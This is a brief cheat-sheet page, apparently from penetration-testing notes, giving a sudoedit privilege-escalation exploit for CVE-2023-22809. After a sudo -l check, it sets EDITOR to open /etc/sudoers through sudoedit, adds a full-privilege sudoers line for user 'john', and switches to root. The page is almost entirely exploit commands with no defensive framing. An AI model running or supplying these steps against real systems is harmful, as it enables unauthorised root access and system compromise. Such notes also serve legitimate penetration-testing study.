Sudoedit Privilege Escalation
Investigation
sudo -l
(root) sudoedit /opt/example.txtExploitation (CVE-2023-22809)
export EDITOR="vim -- /etc/sudoers"
sudoedit /opt/example.txtjohn ALL=(ALL:ALL) ALLsudo su rootLast updated